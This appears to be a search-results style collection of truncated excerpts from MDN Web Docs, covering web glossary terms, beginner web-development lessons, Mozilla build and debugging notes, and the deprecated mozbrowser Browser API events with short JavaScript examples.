note that strictly speaking, the content-encoding and content-type headers are entity header: 200 ok access-control-allow-origin: * connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: mon, 18 jul 2016 16:06:00 gmt etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-kuma-re...
SIMD - MDN Web Docs Glossary: Definitions of Web-related terms
simd (pronounced "sim-dee") is short for single instruction/multiple data which is one classification of computer architectures.
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
a web site owner can exclude areas of the site from being accessed by a search engine's web crawler (or spider), by defining "robot exclusion" information in a file named robots.txt.
Sloppy mode - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge "strict mode" in chapter 7 ("javascript syntax") in the book speaking javascript.
Slug - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of mdn, it is the portion of the url following "<locale>/docs/".
Smoke Test - MDN Web Docs Glossary: Definitions of Web-related terms
smoke testing answers questions like "does the program start up correctly?" "do the main control buttons function?" "can you save a simple blank new test user account?" if this basic functionality fails, there is no point investing time in more detailed qa work at this stage.
Specification - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of describing the web, the term "specification" (often shortened to simply "spec") generally means a document describing a language, technology, or api which makes up the complete set of open web technologies.
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
this is like the "if" statement in that if x == true then dothis else dothat is not possible.
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
the key is usually called a "symmetric key" or a "secret key".
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge "benefits of dead code elimination during bundling" in axel rauschmayer's book: "exploring js: modules" technical reference tree shaking implementation with webpack ...
Type - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a value of type number can be multiplied by another number, but not by a string - even if that string contains only a number, such as the string "2".
Type conversion - MDN Web Docs Glossary: Definitions of Web-related terms
for example, given the instruction 5+2.0, the floating point 2.0 is implicitly typecasted into an integer, but given the instruction number("0x11"), the string "0x11" is explicitly typecasted as the number 17.
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client.
Array - MDN Web Docs Glossary: Definitions of Web-related terms
what an array in javascript looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascript can hold different types of data, as shown above.
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same).
Character - MDN Web Docs Glossary: Definitions of Web-related terms
a character is either a symbol (letters, numbers, punctuation) or non-printing "control" (e.g., carriage return or soft hyphen).
Character encoding - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in html we normally declare a character encoding of utf-8, using the following line: <meta charset="utf-8"> this ensures that you can use characters from just about any human language in your html document, and they will display reliably.
First Meaningful Paint - MDN Web Docs Glossary: Definitions of Web-related terms
it is when the answer to "is it useful?" becomes "yes", upon first meaningful paint completion.
Hash - MDN Web Docs Glossary: Definitions of Web-related terms
it is commonly in the form of a 128-bit "fingerprint" or "message digest".
jQuery - MDN Web Docs Glossary: Definitions of Web-related terms
$(document).ready(function(){ alert("hello world!"); $("#blackbox").hide(); }); the above code carries out the same function as the following code: window.onload = function() { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }; or: window.addeventlistener("load", () => { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }); learn more general knowledge jquery on wikipedia jque...
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
<link rel="prerender" href="https://example.com/content/to/prerender"> see also prefetch ...
Property (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
here's an example of a css rule: /* "div" is a selector indicating that all the div elements */ /* in the document will be styled by that rule */ div { /* the property "color" with the value "black" indicates */ /* that the text will have the color black */ color: black; /* the property "background-color" with the value "white" indicates */ /* that the background color of the elements will be white */ background-color: white; } learn more general knowledge learn css technical reference the css reference on mdn the css working group current work ...
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
note that when we say that "a property holds an object", that is shorthand for "a property holds an object reference".
undefined - MDN Web Docs Glossary: Definitions of Web-related terms
example var x; //create a variable but assign it no value console.log("x's value is", x) //logs "x's value is undefined" learn more general knowledge undefined value on wikipedia technical reference javascript data types and data structures ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
a typical user agent string looks like this: "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:35.0) gecko/20100101 firefox/35.0".
Test your skills: CSS and JavaScript accessibility - Learn web development
your post should include: a descriptive title such as "assessment wanted for css accessibility 1 skill test".
Test your skills: HTML accessibility - Learn web development
your post should include: a descriptive title such as "assessment wanted for html accessibility 1 skill test".
Test your skills: WAI-ARIA - Learn web development
your post should include: a descriptive title such as "assessment wanted for wai-aria 1 skill test".
Accessibility - Learn web development
overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web — even and especially users with physical or mental impairments.
A cool-looking box - Learn web development
your post should include: a descriptive title such as "assessment wanted for cool-looking box".
Test your skills: The Cascade - Learn web development
your post should include: a descriptive title such as "assessment wanted for cascade skill test 1".
Creating fancy letterheaded paper - Learn web development
your post should include: a descriptive title such as "assessment wanted for creating fancy letterheaded paper".
Test your skills: Images and Form elements - Learn web development
your post should include: a descriptive title such as "assessment wanted for images skill test 1".
Test your skills: Overflow - Learn web development
your post should include: a descriptive title such as "assessment wanted for overflow skill test 1".
Overflowing content - Learn web development
css tries to avoid "data loss" let's consider two examples that demonstrate the default behavior of css when there is overflow.
Test your skills: The Box Model - Learn web development
your post should include: a descriptive title such as "assessment wanted for box model skill test 1".
Pseudo-classes and pseudo-elements - Learn web development
the use of the ::before and ::after pseudo-elements along with the content property is referred to as "generated content" in css, and you will often see this technique being used for various tasks.
Test your skills: Selectors - Learn web development
your post should include: a descriptive title such as "assessment wanted for selectors skill test 1".
Type, class, and ID selectors - Learn web development
this kind of behavior can sometimes be seen in "reset stylesheets", which strips out all of the browser styling.
CSS selectors - Learn web development
h1 { } it also includes selectors which target a class: .box { } or, an id: #unique { } attribute selectors this group of selectors gives you different ways to select elements based on the presence of a certain attribute on an element: a[title] { } or even make a selection based on the presence of an attribute with a particular value: a[href="https://example.com"] { } pseudo-classes and pseudo-elements this group of selectors includes pseudo-classes, which style certain states of an element.
Test your skills: sizing - Learn web development
your post should include: a descriptive title such as "assessment wanted for sizing skill test 1".
Test your skills: tables - Learn web development
your post should include: a descriptive title such as "assessment wanted for tables skill test".
Test your skills: values and units - Learn web development
your post should include: a descriptive title such as "assessment wanted for values and units skill test 1".
Test your skills: Writing Modes and Logical Properties - Learn web development
your post should include: a descriptive title such as "assessment wanted for writing modes skill test 1".
Test your skills: Flexbox - Learn web development
your post should include: a descriptive title such as "assessment wanted for flexbox layout 1 skill test".
Test your skills: floats - Learn web development
your post should include: a descriptive title such as "assessment wanted for float skill test".
Test Your Skills: Fundamental layout comprehension - Learn web development
your post should include: a descriptive title such as "assessment wanted for fundamental layout comprehension".
Test your skills: Grid Layout - Learn web development
your post should include: a descriptive title such as "assessment wanted for grid layout 1 skill test".
Test your skills: Multicol - Learn web development
your post should include: a descriptive title such as "assessment wanted for multicol skill test 1".
Normal Flow - Learn web development
overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how...
Test your skills: position - Learn web development
your post should include: a descriptive title such as "assessment wanted for position skill test 1".
Test your skills: Media Queries and Responsive Design - Learn web development
your post should include: a descriptive title such as "assessment wanted for responsive web design assessment".
CSS layout - Learn web development
beginner's guide to media queries the css media query gives you a way to apply css only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels".
Using your new knowledge - Learn web development
your post should include: a descriptive title such as "assessment wanted for css first steps".
Typesetting a community school homepage - Learn web development
your post should include: a descriptive title such as "assessment wanted for typesetting a community school homepage".
Learn to style HTML using CSS - Learn web development
"css is weird" css works a bit differently to most programming languages and design tools you'll come across.
How does the Internet work? - Learn web development
thus any computer linked to a network has a unique address that identifies it, called an "ip address" (where ip stands for internet protocol).
How do I start to design my website? - Learn web development
(for example, should i learn how to do all this myself, ask someone to do it for me, or use third-party services?) conclusion as you can see, the simple idea "i want to make a website" generates a long to-do list, which only grows longer as you think about it.
What is a Domain Name? - Learn web development
mozilla.org), you can create "subdomains" with different content located at each, like developer.mozilla.org, iot.mozilla.org, or wiki.developer.mozilla.org.
What software do I need to build a website? - Learn web development
if you're wondering how to publish your website on the web, look at "how to upload files to a web server".
Common questions - Learn web development
the term "web server" can refer to the hardware or software that serves websites to clients across the web — or both of them working together.
Test your skills: Advanced styling - Learn web development
your post should include: a descriptive title such as "assessment wanted for advanced form styling 1 skill test".
Test your skills: HTML5 controls - Learn web development
your post should include: a descriptive title such as "assessment wanted for html5 controls 1 skill test".
Example - Learn web development
a simple form html content <form action="/my-handling-form-page" method="post"> <div> <label for="name">name:</label> <input type="text" id="name" name="user_name"> </div> <div> <label for="mail">e-mail:</label> <input type="email" id="mail" name="user_email"> </div> <div> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </div> <div class="button"> <button type="submit">send your message</button> </div> </form> css content form { /* just to center the form on the page */ margin: 0 auto; width: 400px; /* to see the limits of the form */ padding: 1em; border: 1px solid #ccc; border-radius: 1em; } div + div { margin-to...
Use JavaScript within a webpage - Learn web development
if you want to execute a .js script from your webpage, just use <script> with an src attribute pointing to the script file, using its url: <script src="path/to/my/script.js"></script> writing javascript within html you may also add javascript code between <script> tags rather than providing an src attribute.
Structuring a page of content - Learn web development
your post should include: a descriptive title such as "assessment wanted for structuring a page of content".
Test your skills: HTML text basics - Learn web development
your post should include: a descriptive title such as "assessment wanted for html text basics 1 skill test".
Introduction to HTML - Learn web development
document and website structure as well as defining individual parts of your page (such as "a paragraph" or "an image"), html is also used to define areas of your website (such as "the header," "the navigation menu," or "the main content column.") this article looks into how to plan a basic website structure and how to write the html to represent this structure.
Test your skills: HTML images - Learn web development
your post should include: a descriptive title such as "assessment wanted for html image basics 1 skill test".
Test your skills: Multimedia and embedding - Learn web development
your post should include: a descriptive title such as "assessment wanted for html image basics 1 skill test".
Assessment: Structuring planet data - Learn web development
your post should include: a descriptive title such as "assessment wanted for structuring planet data".
Function return values - Learn web development
let's return to a familiar example (from a previous article in this series): let mytext = 'the weather is cold'; let newstring = mytext.replace('cold', 'warm'); console.log(newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a new string with the replacement made the replace() function is invoked on the mytext string, and is passed two parameters: the substring to find ('cold').
Test your skills: Functions - Learn web development
your post should include: a descriptive title such as "assessment wanted for functions 1 skill test".
Test your skills: Loops - Learn web development
your post should include: a descriptive title such as "assessment wanted for loops 1 skill test".
Test your skills: Math - Learn web development
your post should include: a descriptive title such as "assessment wanted for math 1 skill test".
Test your skills: variables - Learn web development
your post should include: a descriptive title such as "assessment wanted for variables 1 skill test".
Solve common problems in your JavaScript code - Learn web development
firefox gives you "unreachable code after return statement".
Test your skills: Object-oriented JavaScript - Learn web development
your post should include: a descriptive title such as "assessment wanted for oojs 1 skill test".
Introducing JavaScript objects - Learn web development
inheritance in javascript with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes.
JavaScript — Dynamic client-side scripting - Learn web development
javascript first steps in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
Measuring performance - Learn web development
previous overview: performance next in this module the "why" of web performance what is web performance?
Perceived performance - Learn web development
previous overview: performance next in this module the "why" of web performance what is web performance?
What is web performance? - Learn web development
previous overview: performance next in this module the "why" of web performance what is web performance?
The business case for web performance - Learn web development
previous overview: performance in this module the "why" of web performance what is web performance?
JavaScript performance - Learn web development
previous overview: performance next in this module the "why" of web performance what is web performance?
Web performance - Learn web development
the "why" of web performance this article discusses why web performance is important for accessibility, user experience and your business goals.
Vue resources - Learn web development
you are required to be explicit about "reactive" properties when using this api.
Cross browser testing - Learn web development
guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
ChromeWorkers and the Chrome worker loader
note: if you're contributing content to this section, create subpages using the "new sub-page" option in the "this page" menu.
Mozilla's Section 508 Compliance
when the windows "high contrast theme" is used classic, and thus the system look and feel, is automatically selected.
Software accessibility: Where are we today?
mozilla developers follow the general front-end accessibility requirements: there are a number of potential "gotchas" when developing xul ui.
Frequently Asked Questions for Lightweight themes
preview any theme by clicking "tap to preview"; the design appears in your browser header so you can "try it on." when you're ready, just click the blue install theme button.
Add-ons
publishing add-ons addons.mozilla.org, commonly known as "amo," is mozilla's official site for developers to list add-ons, and for users to discover them.
Testopia
"as soon as possible" is our best answer.
What to do and what not to do in Bugzilla
you should look at all the open bugs you've reported (see the "my bugs" link at the bottom of every bugzilla page) at least every two months and test whether they still exist.
Building SpiderMonkey with UBSan
/bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" elif [ -d $1 ] ; then echo "directory $1 already exists" else autoconf2.13 autoconf213 mkdir $1 cd $1 llvm_root="$home/llvm" sanflag="-fsanitize=undefined -fno-sanitize=alignment,float-cast-overflow,float-divide-by-zero,vptr -dxmalloc=myxmalloc" \ cc="$llvm_root/build/release+asserts/bin/clang" \ cxx="$llvm_root/build/release+asserts/bin/clang++" \ cflags="$sanflag" \ cxxflags="$sanflag" \ moz_llvm_hacks=1 \ ../configure --enable-debug --disable-optimize make -j 8 fi 3.
Choosing the right memory allocator
allocating strings in xpcom code see "callee-allocated parameters" in the xpcom strings guide; use tonewcstring() or tonewunicode() to allocate strings that will be passed out.
Debugging Chrome
i did trace_file=foo.txt and it created the trace file in "c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1183.0\foo.txt".
Debugging Safari
to enable the very useful debug menu in safari use the following: defaults write com.apple.safari includeinternaldebugmenu 1 it is often useful to switch into single process mode by turning off "use multi-process windows" ...
How Mozilla's build system works
in source tree builds, this will simply point to "." (the current directory).
pymake
this should come back with "no makefile found." if it does, your pymake alias is connected and you are ready to type in pymake -f client.mk to start the build.
Listening to events on all tabs
onrefreshattempted notification that a refresh or redirect has been requested in awebprogress for example, via a <meta http-equiv="refresh"> or an http refresh: header.
Frame script environment
in particular, note that a frame script accesses the dom window using content, not window: // frame script var links = content.document.getelementsbytagname("a"); all the frame scripts running in a tab share this global.
Frame script environment
in particular, note that a frame script accesses the dom window using content, not window: // frame script var links = content.document.getelementsbytagname("a"); all of the frame scripts running in a tab share this global.
Blocked: All storage access requests
the permission can be changed or removed by: going to preferences > content blocking in the custom content blocking section, selecting a value other than all cookies for the cookies item if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to your element.
Blocked: All third-party storage access requests
the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the cookies checkbox if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
Blocked: Storage access requests from trackers
the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the tracker checkbox if the blocked resource doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
HTMLIFrameElement.addNextPaintListener()
examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); specification not part of any specification.
HTMLIFrameElement.download()
examples var browser = document.queryselector('iframe'); var request = browser.download(foourl, { filename: 'foo.bin' }); request.onsuccess = function() { console.log("file downladed"); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
HTMLIFrameElement.getCanGoBack()
example function canmovebwd() { browser.getcangoback().then(function(result) { if (result) { back.disabled = false; console.log("it's possible to navigate the history backward."); } else { back.disabled = true; console.log("it's not possible to navigate the history backward."); } }); } specification not part of any specification.
HTMLIFrameElement.getCanGoForward()
example function canmovefwd() { browser.getcangoforward().then(function(result) { if (result) { fwd.disabled = false; console.log("it's possible to navigate the history forward."); } else { fwd.disabled = true; console.log("it's not possible to navigate the history forward."); } }); } specification not part of any specification.
HTMLIFrameElement.getContentDimensions()
examples var browser = document.queryselector('iframe'); var request = browser.getcontentdimensions(); request.onsuccess = function() { console.log("page size:", request.result.width + "x" + request.result.height); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
HTMLIFrameElement.getStructuredData()
owser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": { "given-name":["chris"], "family-name":["askew"], ...
mozbrowseractivitydone
examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseractivitydone", function(event) { if(event.details.success) { console.log('activity completed successfully'); } else { console.log('activity not completed successfully'); } }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange ...
mozbrowseraudioplaybackchange
examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseraudioplaybackchange", function(event) { console.log(event.details); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsercaretstatechanged
examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsercaretstatechanged", function( event ) { // do stuff with event.details }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserclose
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserclose", function() { console.log("browser window has been closed; iframe will be destroyed."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrow...
mozbrowsercontextmenu
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsercontextmenu", function(event) { console.log("asking for menu:" + json.stringify(event.details)); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsert...
mozbrowserdocumentfirstpaint
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserdocumentfirstpaint", function() { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbro...
mozbrowsererror
nterrupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure contentencodingfailure remotexul unsafecontenttype corruptedcontenterror certerror other example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange m...
mozbrowserfindchange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserfindchange", function(event) { console.log("currently highlighted: " + event.details.activematchordinal + " out of " + event.details.numberofmatches); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowserop...
mozbrowserfirstpaint
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserfirstpaint", function(event) { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowse...
mozbrowserloadend
var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadend',function(e) { stopreload.textcontent = 'r'; console.log(e.detail.backgroundcolor); controls.style.background = e.detail.backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror moz...
mozbrowserloadstart
var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadstart',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserlocationchange mozbrowseropenwindow mozbrowser...
mozbrowserlocationchange
var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserlocationchange', function (event) { urlbar.value = event.detail.url; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernamea...
mozbrowseropentab
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowse...
mozbrowseropenwindow
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropenwindow", function( event ) { console.log("a new window has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrows...
mozbrowserresize
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserresize", function( event ) { console.log("the new window size is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbro...
mozbrowserscroll
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscroll", function( event ) { console.log("the new scroll position is " + event.details.left + " across and " + event.details.top + "down."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbr...
mozbrowserscrollareachanged
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollareachanged", function( event ) { console.log("the new scroll area is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrow...
mozbrowserscrollviewchange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollviewchange", function( event ) { console.log("scrolling has " + event.details.state + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowseruse...
mozbrowsersecuritychange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsersecuritychange", function( event ) { console.log("the ssl state is:" + event.details.state); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsertitlechange mozbrowserusernameandp...
mozbrowserselectionstatechanged
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserselectionstatechanged", function( event ) { if(event.details.visible) { console.log("the current selection is visible."); } else { console.log("the current selection is not visible."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrows...
mozbrowsershowmodalprompt
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsershowmodalprompt", function( event ) { console.log("asking for prompt:" + json.stringify(event.detail)); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrows...
mozbrowsertitlechange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsertitlechange", function( event ) { console.log("the title of the document is:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmod...
mozbrowserusernameandpasswordrequired
example var browser = document.queryselector("iframe[mozbrowser]"); browser.addeventlistener("mozbrowserusernameandpasswordrequired", function( event ) { console.log("the auth realm is:" + event.detail.realm); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritych...
mozbrowservisibilitychange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowservisibilitychange", function( event ) { if(event.details.visible) { console.log("the browser is visible."); } else { console.log("the browser is hidden."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocatio...
HTMLIframeElement.removeNextPaintListener()
examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); browser.removenextpaintlistener(onnextpaint); specification not part of any specification.
HTMLIFrameElement.sendMouseEvent()
examples var browser = document.queryselector('iframe'); browser.sendmouseevent("mousemove", x, y, 0, 0, 0); browser.sendmouseevent("mousedown", x, y, 0, 1, 0); browser.sendmouseevent("mouseup", x, y, 0, 1, 0); specification not part of any specification.
HTMLIFrameElement.sendTouchEvent()
examples var browser = document.queryselector('iframe'); browser.sendtouchevent("touchstart", [1], [x], [y], [2], [2], [20], [0.5], 1, 0); specification not part of any specification.
Browser API
<link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content.
::-moz-tree-row
<treerow properties="foo">...</treerow> ...
MozScrolledAreaChanged
example document.addeventlistener("mozscrolledareachanged", event => { // find something useful to do with those values event.width; event.height; event.x; event.y; }, false); ...
smartcard-insert
example document.addeventlistener("smartcard-insert", smartcardchangehandler ); related events smartcard-remove ...
smartcard-remove
example document.addeventlistener("smartcard-remove", smartcardchangehandler ); related events smartcard-insert ...
Overview of Mozilla embedding APIs
each webbrowser instance represents the "client-area" of a typical browser window.
Roll your own browser: An embedding how-to
fast ie-look-alike browser, uses ie and ns bookmarking system, fast loading time, privacy features, java support and complete control of the menus and "hotkeys".
How to get a process dump with Windows Task Manager
right-click firefox.exe and select "create dump file".
Creating a New Protocol
writing the tests protocols which are managed by pbrowser must be tested using the mochitest-chrome test framework with a <browser remote="true">.
IPDL Type Serialization
if (!readparam(amsg, aiter, &(aresult->i)) || !readparam(amsg, aiter, &(aresult->j))) return false; for (int i = 0; i < 4; ++i) if (!readparam(amsg, aiter, &(aresult->k[i]))) return false; return true; } }; } // namespace ipc once you have a serializer for a type, you can serialize a collection of it (ex: an nstarray<examplestruct>) by simply declaring "using nstarray<examplestruct>;' in your ipdl file, then using it in a ipc method.
IPC Protocol Definition Language (IPDL)
ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
Infallible memory allocation
the term "infallible" means that your memory allocation request is guaranteed to succeed: your code can never see a failed request, and so doesn't need to check for failure.
AddonUpdateChecker
to import the addonupdatechecker, use: components.utils.import("resource://gre/modules/addonupdatechecker.jsm"); method overview updateinfo getcompatibilityupdate(in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion) updateinfo getnewestcompatibleupdate(in updateinfo updates[], in string appversion, in string platformversion) void checkforupdates(in string id, in string type, in string updatekey, string url, in updatechecklistener listener) constants co...
UpdateInfo
each item in the array contains "id", "minversion", and "maxversion" properties.
Add-on Repository
